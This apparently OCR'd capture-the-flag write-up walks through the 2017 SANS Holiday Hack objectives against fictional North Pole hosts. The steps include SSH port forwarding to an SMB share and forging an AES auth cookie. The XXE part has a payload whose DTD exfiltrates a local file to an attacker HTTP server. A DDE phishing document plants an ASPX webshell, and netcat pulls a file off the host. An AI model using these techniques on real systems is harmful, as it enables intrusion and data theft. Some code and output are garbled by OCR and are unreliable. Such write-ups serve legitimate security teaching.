In the below command, we will at all the contents of all the files in the /opt directory, and for each file, execute grep and look for the string "alabaster_snowball" case insensitive (-i) and print the filename(-H) and linenumber(-n) for each match.



We can see that we have a single match. In that file, we can see the hard-coded credentials for Alabaster Snowball's unix account, stream_unhappy_buy_loss

```
cat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class

public class Connect {
    final String host = "localhost";
    final String username = "alabaster_snowball";
    final String password = "stream_unhappy_buy_loss";
    String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
    Connection connection = null;
    Statement statement = null;

public Connect() {
    try {
```

THE SMB SERVER

3) THE NORTH POLE ENGINEERING TEAM USES A WINDOWS SMB SERVER FOR SHARING DOCUMENTATION AND CORRESPONDENCE. USING YOUR ACCESS TO THE LETTERS TO SANTA SERVER, IDENTIFY AND ENUMERATE THE SMB FILE-SHARING SERVER. WHAT IS THE FILE SERVER SHARE NAME?

The Fileserver share name is: FileStor

AVAILABLE HINTS



Holly Evergreer
Hint 1

Nmap has default host discovery checks that may not discover all hosts. To customize which ports Nmap looks for during host discovery, use -PS with a port number, such as -PS123 to check TCP port 123 to determine if a host is up.



I I;-- T O

Hint 2

Alabaster likes to keep life simple. He chooses a strong password, and sticks with it.



Holly Evergreen Hint 3

The Letters to Santa server is limited in what commands are available. Fortunately, SSH has enough flexibility to make access through the Letters server a fruitcake-walk.



Holly Evergreen

Have you used port forwarding with SSH before? It's pretty amazing! Here is a quick guide.



Holly Evergreen

Windows users can use SSH port forwarding too, using PuTTY! Here is a quick quide for Windows users.



Holly Evergreer

Sometimes it's better to use a Linux system as the SSH port forwarder, and interact with a Linux system from a Windows box. For example, running ssh -L :445:SMBSERVERIP:445 username@sshserver will allow you to access your Linux server's IP, which will forward directly to the SMB server over SSH.



Holly Evergreen

Linux systems can also interact with a Windows server using the smbclient utility: smbclient -L smbserverorforwarder -U username.

With SSH access to the web server we can now begin enumeration of the internal network that it sits on. Unfortunately, it seems that we are in a restrictewd shell, with certain commands being unusable. Conveniently however, the nmap command is available which we can use to enumerate the network. We first look at the host we're on to determine the IP range. We are 10.142.0.11 with a default gateway 10.142.0.1. we can deduce that we sit on a /24 network and begin scanning. Our first default nmap scan returns several servers, but only 1 SMB server named EMI. This does not seem to be the SMB file-server we need.

```
alabaster_snowball@12s:/tmp/asnow.Jywh3oYZAXEiUARbJZMbZb5p$ ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
t qlen 1
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc mq state UP group defa
ult qlen 1000
    link/ether 42:01:0a:8e:00:0b brd ff:ff:ff:ff:
    inet 10.142.0.11/32 brd 10.142.0.11 scope global eth0
        valid_lft forever preferred_lft forever
alabaster_snowball@12s:/tmp/asnow.Jywh3oYZAXEiUARbJZMbZb5p$
```

```
### Description | According to | Acc
```

Holly evergreen's hint mentions that NMAP's default scan can miss certain hosts and with some certain switches, we can narrow down our search. Using our new search, one more machine is found which looks to be our missing SMB server.

```
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)

Host is up (0.00058s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

Holy Evergreen
Hint 1

Nmap has default host discovery checks that may not discover all hosts. To customize which ports Nmap looks for during host discovery, use _PS with a port number, such as _PS123 to check TCP port 123 to determine if a host is up.
```

In order to interact with this fileshare we need a way to connect to it. Kali comes with a tool called smbclient which we can use for just that purpose. Unfortunately, the SMB server is sitting in an internal network that our Kali machine has no access to. We need a way for our Kali machine to talk to the hosts on the internal network. Holly gives us another hint regarding port forwarding which will work nicely for what we need.


```
root@kali:/tmp# ssh -N -f -L 445:10.142.0.7:445 alabaster_snowball@12s.northpolechristmastown.com
alabaster_snowball@12s.northpolechristmastown.com's password:
root@kali:/tmp# ss -antp | grep 445

LISTEN 0 128 127-0.0.1:445 *:* users:(("ssh",pid=1999,fd=5))

TIME-WAIT 0 0 127.0.0.1:60530 127.0.0.1:445

LISTEN 0 128 ::1:445 :::* users:(("ssh",pid=1999,fd=4))
root@kali:/tmp# |
```

For this setup, we're telling SSH to listen on OUR local port 445 and forward all traffic to that port to 10.142.0.7:445 through l2s.northpolechristmastown.com



With port forwarding setup, we use the smbclient tool to interact with the SMB server. We supply it with the -L switch to list it's shares, and the -U switch to supply it with our user, which in this case will be alabaster_snowball. A password prompt greets us but what could the password be? Well, according to Holly, Alabaster likes to keep life simple and reuse passwords. It's worth a shot.

```
cali:/tmp# smbclient -L \\127.0.0.1 -U alabaster_snowball
                                                                                                  Alabaster likes to keep life simple. He chooses a strong
WARNING: The "syslog" option is deprecated
                                                                                                  password, and sticks with it.
Enter WORKGROUP\alabaster_snowball's password:
        Sharename
                        Type
                                   Comment
        ADMINS
                        Disk
                                   Remote Admin
                                   Default share
        C$
                        Disk
        FileStor
                        Disk
                                   Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 127.0.0.1 failed (Error NT_STATUS_CONNECTION_REFUSED)
Failed to connect with SMB1 -- no workgroup available
 oot@kali:/tmp#
```

The comand executes without any errors and we see a list of shares on that host. The share that we want is named FileStor and is the share that we'll be connecting to. We run the same command (this time without -L) and supply the share name that we would like to connect to.

```
# smbclient \\\\127.0.0.1\\FileStor -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\alabaster_snowball's password:
Try "help" to get a list of possible commands.
mb: \> dir
                                               0 Sun Dec 31 04:07:11 2017
                                               0 Sun Dec 31 04:07:11 2017
 BOLO - Munchkin Mole Report.docx
                                           255520 Wed Dec 6 21:44:17 2017
 GreatBookPage3.pdf
                                      A 1275756 Mon Dec 4 19:21:44 2017
 MEMO - Password Policy Reminder.docx
                                          A 133295 Wed Dec 6 21:47:28 2017
                                           10245 Thu Nov 30 19:42:00 2017
60344 Wed Dec 6 21:51:25 2017
 Naughty and Nice List.csv
 Naughty and Nice List.docx
               13106687 blocks of size 4096. 9618141 blocks available
smb: \>
```

Exploring the file share we see numerous files (which may be useful later on) one of them being a page from the great book. The files are downloaded for later use.



ELF WEB ACCESS

4) ELF WEB ACCESS (EWA) IS THE PREFERRED MAILER FOR NORTH POLE ELVES, AVAILABLE INTERNALLY AT HTTP://MAIL.NORTHPOLECHRISTMASTOWN.COM. WHAT CAN YOU LEARN FROM THE GREAT BOOK PAGE FOUND IN AN E-MAIL ON THAT SERVER?

The page of the Great Book found in an email on the mail server is about the munchkin Lollipop Guild, created to defend "Oz against all elven aggression". The Lollipop Guild is known to mount cyber attacks against the North pole where the elven Blue Team work day and night protecting the north pole from their attacks. The page also hints about the existence of munchkin moles, who are rumored to have infiltrated the elven population.

AVAILABLE HINTS



Pepper Minsti

I'm so excited for the new email system that Alabaster Snowball set up for us. He spent a lot of time working on it. Should make it very easy for us to share cookle recipes. I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.



Pepper Minsti Hint 3

AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.



Pepper Minsti

The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption

scheme using AES256, so you know it's secure.





Hint 4

Hmmm. That's a good question, I'm not sure what would happen if the appropriated string was poly 16 bytes lang.

if the encrypted string was only 16 bytes long.



Hint 5

Every year when Santa gets back from delivering presents to the good girls and boys, he tells us stories about all the cookies he receives. I love everything about cookies! Cooking them, eating them, editing them, decorating them, you name it!

Referring to our previous nmap scan of the network, we see that the mail server has the IP 10.142.0.5. To begin, we'll run a more intensive scan with nmap.

In one of Pepper Minstix's hints, he tells us about this application and how there may be some dev files left behind. He also mentions that Alabaster keeping dev files from search engine indexers. This is usually done through robots.txt This is confirmed by the nmap scan which shows us the existence of a listening port hosting a dev version of the site. In addition the robots.txt reveals the file /cookie.txt

```
STATE SERVICE VERSION
open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
1048 73:33:5b:ae:40:49:47:36:7d:e7:8a:c5:e3:21:ac:74 (RSA)
156 a9:51:b4:b9:8d:96:f7:49:fc:11:83:70:53:f0:7d:bf (ECDSA)
       open smtp Fostfix smtpd


open fostfix source fostfix smtpd

open http nginx 1.10.3 (Ubuntu)

obots.txx: 1 disallowed entry
            ver-header: nginx/1.10.3 (Ubuntu
     server-measer. Hydna/ 1700 (bound)
title: Site doesn't have a title (text/html; charset=UTF-8).
open imap Dovecot imapd
sapabilities: more have post-login SASL-IR OK capabilities Pre-login LOGIN-REFERRALS listed LITERAL+ IMAP4rev
       ANISTELLAR LANGUAL ANIS-SOCIATION OF THE STATE OF T
     p open http Node.js Express framework robots.txt: 1 disallowed entry
```

We port forward to 10.142.0.5, port 3000 and obtain a copy of cookies.txt for later use.

Our next step is to log in to the mail server. We have some Alabaster's credentials. Let's try them out.



The server replies back with an error but also tells us the correct format. We try again but this time, it seems like the password may be incorrect. Time to find another way in.


COOKIE.TXT

```
//FOUND THESE FOR creating and validating cookies. Going to use this in node js
   function cookie_maker(username, callback){
       var key = 'need to put any length key in here';
       //randomly generates a string of 5 characters
       var plaintext = rando string(5)
       //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and
       //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring o
       var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
       //Setting the values of the cookie.
       var acookie = ['IOTECHWEBMAIL', JSON.stringify({"name":username, "plaintext":plaintext, "ciphertext":ciphertext}),
       return callback(acookie);
   function cookie_checker(req, callback){
       try{
           var key = 'need to put any length key in here';
           //Retrieving the cookie from the request headers and parsing it as JSON
           var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
           //Retrieving the cipher text
           var ciphertext = thecookie.ciphertext;
           //Retrievingin the username
           var username = thecookie.name
           //retrieving the plaintext
           var plaintext = aes256.decrypt(key, ciphertext);
           //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
           if (plaintext === thecookie.plaintext) {
               return callback(true, username);
           } else {
               return callback(false, '');
       } catch (e) -
           console.log(e);
           return callback(false, '');
```

In cookie.txt, we find what could be how the web server generates and checks for the validity of authentication cookies. We can see in the cookie_maker function, that a random string is encrypted with a key and encoded in base64, producing a 21-byte long ciphertext. The ciphertext, along with the random string and username are passed as the cookie.

In the cookie_checker function, the ciphertext is decrypted by using a key stored on the server side. If the decrypted plaintext matches the plaintext passed in the cookie, then it can be inferred that both keys used to decrypt/encrypt the cookie is the same and access is granted.

Using the dev tools packaged with Firefox, we can inspect the values that are being passed in the cookie header. Additionally, we can edit these values to produce different results.




If the ciphertext passed in the cookie is not encrypted with the same key on the server, then the authentication check will fail. Unfortunately, there's no way to determine the key unless access to the mail server is obtained. Fortunately, Pepper offers a brief explanation of how AES256 works and a very important clue




We know that the ciphertext is a base64 encoded string, with a length of 21 bytes. According to Pepper's explanation, the first 16 bytes are removed and used as the IV. The IV along with the secret key is used to decrypt the ciphertext. Consider then, what would happen if the entire ciphertext was only 16 bytes long? 16 bytes would still be removed as the IV and we would be left with a ciphertext of 0 length. What would happen then?

Let's test this out. First, we'll need a 16 byte length string. This is then encoded with base64 (as this is the format the the server is expecting). Finally, any trailing equals signs (=) are removed. We are left with our "fake" cipher text.

Using the Firefox dev tools, we edit the cookie header. We supply a username (in this case, alabaster.snowball@northpolechristmastown.com) along with the plaintext (blank) and our newly created ciphertext in the appropriate fields.



The page is refreshed, Firefox dev tools will now send the modified cookie over to the server and access to the mail server is obtained




A wealth of information can be found within the email application including usernames, email address and of course, a page of the great book. Holly evergreen's email to everybody includes a link where the page of the Great Book is saved.



This page of The Great Book tells the story of the munchkin Lollipop Guild, created to defend "Oz against all elven aggression". They are known to mount cyber attacks against the North pole where the elven Blue Team work day and night protecting the north pole from their attacks.

This page also brings alludes to the existence of Munckin Moles, who are rumored to have infiltrated the elven population.



NAUGHTY? OR NICE?

S) HOW MANY INFRACTIONS ARE REQUIRED TO BE MARKED AS NAUGHTY ON SANTA'S NAUGHTY AND NICE LIST? WHAT ARE THE NAMES OF AT LEAST SIX INSIDER THREAT MOLES? WHO IS THROWING THE SNOWBALLS FROM THE TOP OF THE NORTH POLE MOUNTAIN AND WHAT IS YOUR PROOF?

4 infractions are needed to be put on Santa's naughty list

The names of 8 suspected munchkin moles are as follows:

- "Beverly Khalil"
- "Bini Aru"
- "Boq Questrian"
- "Kirsty Evans"
- "Manuel Graham"
- "Nina Fitzgerald"
- "Sheri Lewis"
- "Wesley Morton"

The giant showballs are being thrown from the top of the North Pole Mountain by Bumble, the Abomniable Snow Monster. This is corroborated by page 5 of the Great Book where in the past, he has been known to enslave elves to create giant snowballs he can use as weapons.

AVAILABLE HINTS



I have a very important job at the North Pole: GDPR compliance officer. Mostly I handle data privacy requests relating to Santa's naughty and nice list. I maintain the documents for compliance on the North Pole file store server.



I'm still a little shaken up from when I had to call them in the other day. Two elves started fighting, pulling hair, and throwing rocks. There was even a super atomic wedgie involved! Later we were told that they were Munchkin Moles, though I'm still not sure I can



The North Pole Police Department works closely with Santa on the naughty and nice list infractions. Mild naughty events are "1 coal" infractions, but can reach as high as "5 coal" level,




Unrelated, but: have you had the pleasure of working with JSON before? It's an easy way to programmatically send data back and forth over a network. There are simple JSON import/export features for almost every programming language!



One of the conveniences of working with JSON is that you can edit the data files easily with any text editor. There are lots of online services to convert JSON to other formats too, such as CSV data. Sometimes the JSON files need a little coaxing to get the data in the right format for conversion, though.

To answer the question, We need to obtain a list of all the infractions in the nort pole police department database located at nppd.northpolechristmastown.com. In addition, we will need 'the naughty and nice list.csv' file found in the SMB server in question number 2. A cursory look over the data shows the infraction titles, names, and the status of the infractions.



Using the search function allows us to filter through the infractions and more importantly, download the results in JSON format. In this walkthrough we'll be filtering against the status (open, closed, pending) and downloading the results of each of these queries.

Aiding and abetting / accessory to another child's infraction 📽 📽 📽	Gabrielle Pierce	closed
Naughty words € € €	Bonnie Clayton	closed
Bedtime violation €	Gareth Patel	closed
Throwing rocks (non-person target) € €	Rafael Lane	closed
Unauthorized access to cookie jar	Eugene Gandhi	closed
Crayon on walls	Mike Goel	closed
Unauthorized access to cookie jar € €	Sami Sandoval	closed
Tantrum in a private facility € €	Erika Norton	closed
Petty candy larceny	Mina Teo	closed
Failure to feed a family pet €	Juanita Burgess	closed
Computer infraction: Accessing siblings files without permission 🏶 🏶 📽	Jim Chen	closed
<u>More</u> →		
Download		

The JSON files are then converted into csv format using an online service¹ and joined together to produce a single file with all the infractions using cat

```
oot@kali:/tmp/infractions# ls
infractions-closed.csv infractions-open.csv infractions-pending.csv
 root@kali:/tmp/infractions# cat * > infractions.csv
 oot@kali:/tmp/infractions#
Once complete, the file can
                              sqlite> .mode csv
be imported into an sqlite
                              sqlite> .import infractions.csv infractions
database along with the
                              sqlite> .import nan.csv nan
"naughty and nice list.csv"
                              sqlite>
obtained during question 2
```

Looking at the format of the table, it looks like there is one entry per child per infraction resulting in a lot of duplicate names. we can use the COUNT and GROUP BY statements in SQL to aggregate these results and then match the names up to the naughty list.

The logic behind the SQL query will be something like this

We want the name of the child and the number of infractions from the infractions table, (SELECT) then using their names, find their match on the naughty or nice table (JOIN) once they are matched up, get only the children that are naughty (WHERE) order the results by number of infractions, least to greatest (ORDER BY)

sqlite> select infractions.infractions__name, count(*) from infractions left join nan on infractions__name = nan.name where nan.non = "Naughty" group by infractions__name order by count(*) limit 5;

```
sqlite> select infractions.infractions name, count(*),nan.non from infractions left join nan on infractions name
nan.name where nan.non = "Naughty" group by infractions_name order by count(*) LIMIT 5;
"Allen Farmer", 4, Naughty
'Allison Barton",4,Naughty
'Ashlee Hodge",4,Naughty
"Bini Aru", 4, Naughty
Blake Nielsen", 4, Naughty
```

In the output above, we can see that in the Naughty list, the children have at least 4 infractions.

To find the names of at least 6 insider threat moles, we can use the "BOLO - Munchkin Mole Report.docx" document found in the SMB share along with the database of infractions we created in the previous step. In addition, Minty's hint # 3 tells us that he reported the 2 munchkin moles that were apprehended (citing hair-pulling, rock throwing and atomic wedgies)

BOLO: Munchkin Mole Advisory

Please be advised that the long-rumored munchkin moles are now believed to be real. After a detailed and thorough investigation, North Pole Authorities have identified two munchkins impersonating elves in Santa's workshop.

When confronted, both munchkins were able to evade elf authorities after throwing rocks and engaging in aggravated hair pulling. The pair mysteriously disappeared after speaking an unknown word sounding like "puuurzgexgull."

Munchkin Descriptions

Name: Boq Questrian Height: Approximately 4 feet Weight: Unknown

Appearance: Reddish skin tone, blue eyes. A single curl of hair

dominates an otherwise unremarkable hairstyle

Warning: Boq is uncannily accurate at short-distance rock throwing.

Name: Bini Aru Height: Approximately 4 feet

Weight: Unknown

Appearance: Pale skin, grey eyes. Unruly black hair. Warning: Bini is unrelenting in hair pulling.



I'm still a little shaken up from when I had to call them in the other day. Two elves started fighting, pulling hair, and throwing rocks. There was even a super atomic wedgie involved! Later we were told that they were Munchkin Moles, though I'm still not sure I can believe that.

In the BOLO document, we receive a few pieces of key information. The infractions that the moles were cited with and more importantly, their names.

We can query the database that we have and see if there are any entries for these 2 munchkins

```
eqlite> select infractions name, infractions title from infractions where infractions name = "Boq Questrian";
Boq Questrian", "Throwing rocks (at people)"
"Bog Questrian","Playing with matches"
"Bog Questrian","Throwing rocks (at people)"
"Bog Questrian","Giving super atomic wedgies"
sqlite> select infractions name, infractions title from infractions where infractions name = "Bini Aru";
"Bini Aru", "Giving super atomic wedgies"
"Bini Aru", "Possession of unlicensed slingshot"
"Bini Aru", "Aggravated pulling of hair"
"Bini Aru", "Aggravated pulling of hair"
sqlite>
```

We can see in the above output that they are both in the database, and both guilty of at least 2 of the 3 offenses that Minty mentioned. Armed with this information, we can formulate a query that can (at the very least) get us a few good suspects.

For our query, we'll search for names with that have more than 1 count of "Aggravated pulling of hair", "Giving super atomic wedgies" or "Throwing rocks (at people)" infractions. This results in 8 names (with both of the known munchkin moles included)

```
Arrice, select Infractions _name from infractions where infractions _title in ("Aggravated pulling of 
uper atomic wedgies", "Throwing rocks (at people)") group by infractions _name having count(*) > 1;
Severly Khalil"
Bini Aru"
 oq Questrian"
Kirsty Evans"
Kanuel Graham"
Nina Fitzgerald"
Sheri Lewis"
 (lite>
```

And to verify their place on the Naughy or Nice list, we join the NaN table and search for their names

```
sqlite> select infractions.infractions_name, nan.non from infractions left join nan on infractions.infractions name
= nan.name where infractions title in ("Aggravated pulling of hair", "Giving super atomic wedgies", "Throwing rocks
(at people)") group by infractions_name having count(*) > 1;
"Beverly Khalil", Naughty
"Bini Aru", Naughty
"Boq Questrian", Naughty
"Kirsty Evans", Naughty
"Manuel Graham", Naughty
"Nina Fitzgerald", Naughty
"Sheri Lewis", Naughty
"Wesley Morton", Naughty
sqlite>
```

It would appear that the names of 8 suspected munchkin moles are as follows:

"Beverly Khalil"

"Bini Aru"

"Boq Questrian"

"Kirsty Evans"

"Manuel Graham"

"Nina Fitzgerald"

"Sheri Lewis"

"Wesley Morton"

Lastly, after completing the Bumble's Bounce snowball challenge, a conversation is unlocked between Bumble the Abominable Snowmonster and Sam the Snowman.



NPC Conversation

Conversation with Bumble and Sam

Arrrrrrrgh! Grrrrrrr! ROOOOOOAR!

You've done it! You found out who was throwing the giant snowballs! It was the Abominable Snow Monster. We should have known. Thank you for your great work!



But, you know, he doesn't seem quite himself. Look into his eyes. It almost looks like he has been hypnotized. Something's not right with him.

In fact, he seems to be under someone else's control. We've got to find out who is pulling his strings, or else the real villain will remain on the loose and will likely strike again.

It means, buckle your seatbelt, dear player, because the North Pole is going bye-bye

Based on this conversation, we find out that the culprit behind the giant snowballs terrorizing the north pole is none other than Bumble, the Abomniable Snow Monster. This is corroborated by page 5 of the Great Book where in the past, he has been known to enslave elves to create giant snowballs he can use as weapons. Since then, he has become a friend to the elves. However, Sam the Snowman points out that he looks as though he is being hypnotized. The search for the REAL villain has only just begun.

These pages of The Great Book can be obtained by completing objective #1 of the Bumbles Bounce Snowball Challenge Level





ELF AS A SERVICE

6) THE NORTH POLE ENGINEERING TEAM HAS INTRODUCED AN ELF AS A SERVICE (EAAS) PLATFORM TO OPTIMIZE RESOURCE ALLOCATION FOR MISSION-CRITICAL CHRISTMAS EN-GINEERING PROJECTS AT HTTP://EAAS.NORTHPOLECHRISTMASTOWN.COM. VISIT THE SYSTEM AND RETRIEVE INSTRUCTIONS FOR ACCESSING THE GREAT BOOK PAGE FROM C:\GREAT-BOOKTXT. THEN RETRIEVE THE GREAT BOOK PDF FILE BY FOLLOWING THOSE DIRECTIONS. WHAT IS THE TITLE OF THE GREAT BOOK PAGE?

The title of the Great Book page retrieved from the EAAS server is: "The Dreaded Inter-Dimenstional Tornadoes"





The Elf As A Service (EAAS) site is a new service we're experimenting with in the North Pole. Previously, if you needed a special engineer for toy production, you would have to write a memo and distribute it to several pe process is automated now, allowing production teams to request assistance through the EAAS site.



Sugarplum Mary

Hint 3

I think some of the elves got a little lazy toward the go-live date for EAAS. The sample XML data doesn't even include a DTD reference



Sugarplum Mary


The EAAS site uses XML data to manage requests from other teams. There is a sample request layout available that you can download. Teams just customize the XML and submit!



Sugarplum Mary

XML processing can be complex. I saw an interesting article recently on the dangers of external XML entities.

The eaas server resides on 10.142.0.13. Looking at our NMap scans, it looks like only port 80 is available (as we don't have RDP credentials). Using port forwarding, we forward our local port to port 80 and establish a connection with our browser



Welcome to North Pole Engineerings: Elf As A Service!

We understand the holiday season can be challenging. Specifically when you have so many toys to deliver, so at North Pole Engineering we have our new agile cloud enabled always-on: Elf-As-A-Service!



EC2: Elf Checking System 2.0






Do you need to look at how to build elves?

We provide our handy dandy elf ordering files on the system in our display view and below!

DOWNLOAD



According to Sugarplum Mary, This site is a way to request the assistance of engineers for toy production. XML data is used to manage the requests (Hint #2) and to make things easier, a sample layout is available to us.



To mount an XML External Entity attack, we supply, in the header of the XML file, an entity statement that that tells the form to load a DTD from an external source. This will point to a web server we control that hosts a DTD file

```
XML PAYLOAD
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [</pre>
    <!ELEMENT demo ANY >
    %extentity;
    %inception;
    %sendit:
```

In the DTD file itself, we will have another entity statement, this time, creating a variable that contains the data we want to receive. This variable is appended into yet another entity statement which performs a get request to a web server we control.

```
AKE DID FILE
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://www.iii.es5001/?%stolendata;'>">
                                            payload
      web server
                                                                      GET
                                                                      192.168.1.2
                                                                          /+%secret
                               GET dtc
                             get 192.168.1.2/secre
                                                                      listener
       load dtd
```


With our webserver ready, the xml file is uploaded. After a few moments, we see a request come in for our webserver. The first request, as expected, is asking for the dtd file. The dtd file is sent over and a moment later, another request, this time, containing the contents of the file c:\greatbook.txt which happens to be the URL where the page of the great book is stored

```
ot@kali:/tmp# python -m SimpleHTTPServer 65001
Serving HTTP on 0.0.0.0 port 65001 ...
35.185.118.225 - - [2R/Dec/2017 19:56:31] "GET /christmas.dtd HTTP/1.1" 200 -
35.185.118.225 - - [2&/Dec/2017 19:56:31] "GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pd
f HTTP/1.1" 200 -
```

The Great Book page is titled:

The Dreaded Inter-Dimenstional Tornadoes

192.168.1.2



ELF MACHINE INTERFACES

7) LIKE ANY OTHER COMPLEX SCADA SYSTEMS, THE NORTH POLE USES ELF-MACHINE INTERFACES (EMI) TO MONITOR AND CONTROL CRITICAL INFRASTRUCTURE ASSETS. THESE SYSTEMS SERVE MANY USES, INCLUDING EMAIL ACCESS AND WEB BROWSING. GAIN ACCESS TO THE EMI SERVER THROUGH THE USE OF A PHISHING ATTACK WITH YOUR ACCESS TO THE EWA SERVER. RETRIEVE THE GREAT BOOK PAGE FROM C:\GREATBOOKPAGE7.PDF. WHAT DOES THE GREAT BOOK PAGE DESCRIBE?

The page of the Great Book retrieved from the EMI server describes the existence of the witches of OZ, and how, while very powerful, remained neutral during the events of the Great Schism.

AVAILABLE HINTS



Shinny Upatree

I'm still a little angry with Alabaster for reprimanding me for a security violation. He still checks his email from the EMI system!



He tells us not to install unnecessary software on systems, but he's running IIS with ASPX services on the EMI server, and Microsoft Office!



Personally, I don't use Microsoft Word. I'll take vim and LaTeX any day. Word does have its advantages though, including some of the Dynamic Data Exchange features for transferring data between applications and obtaining data from external data sources, including executables

For this task we need to gain access to the EMI server through the use of phishing attack. During our visit to the mail server we stumble across the following email

Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.

ALABASTER'S EMAIL

```
Thanks!
Alabaster Snowball.
On 11/15/2017 1:18 PM, tarpin.mcjinglehauser@northpolechristmastown.com
wrote:
> Ewww, raisin. I loved the gingerbread cookies myself. I think that
Mrs
> Claus gave me the recipe. If I find it, ill send it to you in an
> email. I believe it was a a MS Word docx file. So keep an eye out for
> an email containing the words "gingerbread" "cookie" "recipe" and a
> link or attachment to the .docx file.
> On 11/15/2017 1:16 PM, pepper.minstix@northpolechristmastown.com
>> I liked the raisin ones myself. Dont know about the gingerbread
ones.
>>
>>
>> On 11/15/2017 1:14 PM, sparkle.redberry@northpolechristmastown.com
>> wrote:
>>> Me neither, sorry.
>>>
>>>
>>> On 11/15/2017 1:13 PM, mary.sugerplum@northpolechristmastown.com
>>>> Sorry, I dont know that recipe or have any left.
>>>>
>>>>
>>>> On 11/15/2017 1:10 PM,
>>>> alabaster.snowball@northpolechristmastown.com wrote:
>>>> Does anyone have any cookies left over from Mrs Claus cookie
stock
>>>> pile from last year? I'm working on the computer non-stop until
>>>> Christmas doing development and desperately need some of her
north
>>>> pole famous gingerbread cookies to keep me going.
>>>>
>>>> I already emailed her but for she is not in the North Pole.
>>>>
>>>> I NEEEEED MOAR COOKIES!
>>>>
>>>> -Alabaster Snowball
>>>>
```

>>> >> Alabaster looks to be the prime candidate for a phishing attack. We can use a Microsoft Word document that abuses the DDE feature¹ to remotely execute code on his machine, thanks to the hint provided by Shinny Upatree. But what payload will we use?

Once again, Shinny Upatree provides a very important hint, telling us that Alabaster is running IIS eith aspx on the EMI server. With this information, we can attempt to download a simple aspx webshell² into the webroot directory (typically C:\inetpub) with the remote code execution that we have with our DDE document. Our word document will have the follwing statements embedded in a field.


DOCX FILE

The word document is then saved and ready to be emailed.

According to Alabaster's email, he is ready to click yes to all links in a docx file that has the words "gingerbread", "cookie", and "recipe".

We compose our email accordingly and send it to Alabaster.

Meanwhile, we have our webserver brought up and hosting our webshell. After a few moments, we can see that our exploit was successfull and a request is made for our malicious aspx file.




```
root@kali:/tmp# python -m SimpleHTTPServer 65001
Serving HTTP on 0.0.0.0 port 65001 ...
35.185.57.190 - - [28/Dec/2017 20:38:48] "GET /holiday-hack-shell.aspx HTTP/1.1" 200 -
```


¹ https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

² https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx
QUESTIONS AND ANSWERS - ELF MACHINE INTERFACES

Browsing to our URL we can see that we were able to successfully write our webshell to the webroot directory and now able to execute commands on the server.



The page of The Great Book can be found in the web root directory as GreatBookPage7.pdf We will need a way to transfer the file over to our machine. Going through the email server again, we see Alabaster mention that he has installed nc.exe in the PATH of variable of his machine.



On our machine, we have anetcat listener ready to catch any connection and redirect all received data into the file "GreatBookPage7.pdf"

```
root@kali: //tmp# nc -nlvp 65001 > GreatBookPage7.pdf
listening on [any] 65001 ...
connect to [192.168.1.188] from (UNKNOWN) [35.185.57.190] 52407
```

The Great Book Page is titled "Regarding the Witches of Oz" and describes the existence of the witches of OZ, and how, while very powerful, remained neutral during the events of the Great Schism.



THE ELF DATABASE

8) FETCH THE LETTER TO SANTA FROM THE NORTH POLE ELF DATABASE AT HTTP://EDB. NORTHPOLECHRISTMASTOWN.COM. WHO WROTE THE LETTER?

The letter to Santa fetched from the Nort Poel Elf Database was written by the Wizard of Oz.

AVAILABLE HINTS



Hint 1

Many people don't know this, but most of us elves have multiple jobs here in the North Pole. In addition to working in Santa's workshop, I also work as a help desk support associate for the North Pole Elf Database site. I answer password reset requests, mostly from other elves.



Wunorse Openslae

It's never a good idea to come up with your own encryption scheme with cookies. Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.



Wunorse Openslae

One time, I got a weird email with a JavaScript alert and my account got hacked. Fortunately, Alabaster was able to add some filtering on the system to prevent that from happening again. I sure hope he tested his changes against the common evasion techniques discussed on the XSS filter evasion cheat sheet.



Wunorse Openslae Hint 4

The interface we use lets us query our directory database with all the employee information. Per Santa's request, Alabaster restricted the search results to just the elves and reindeer. Hopefully, he secured that too. I found an article recently talking about injection against similar databases.

For this challenge, we will need access to the elf database at http://edb.nortpolechristmastown.com and see the letter to santa. We do some light enumeration.

In the nmap results we see 2 ports serving HTTP, ssh and ldap. nmap also produces the contents of robots.txt and we find a hidden directory, /dev.


```
map scan report for edb.northpolechristmastown.com (10.142.0
Host is up (0.00011s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH
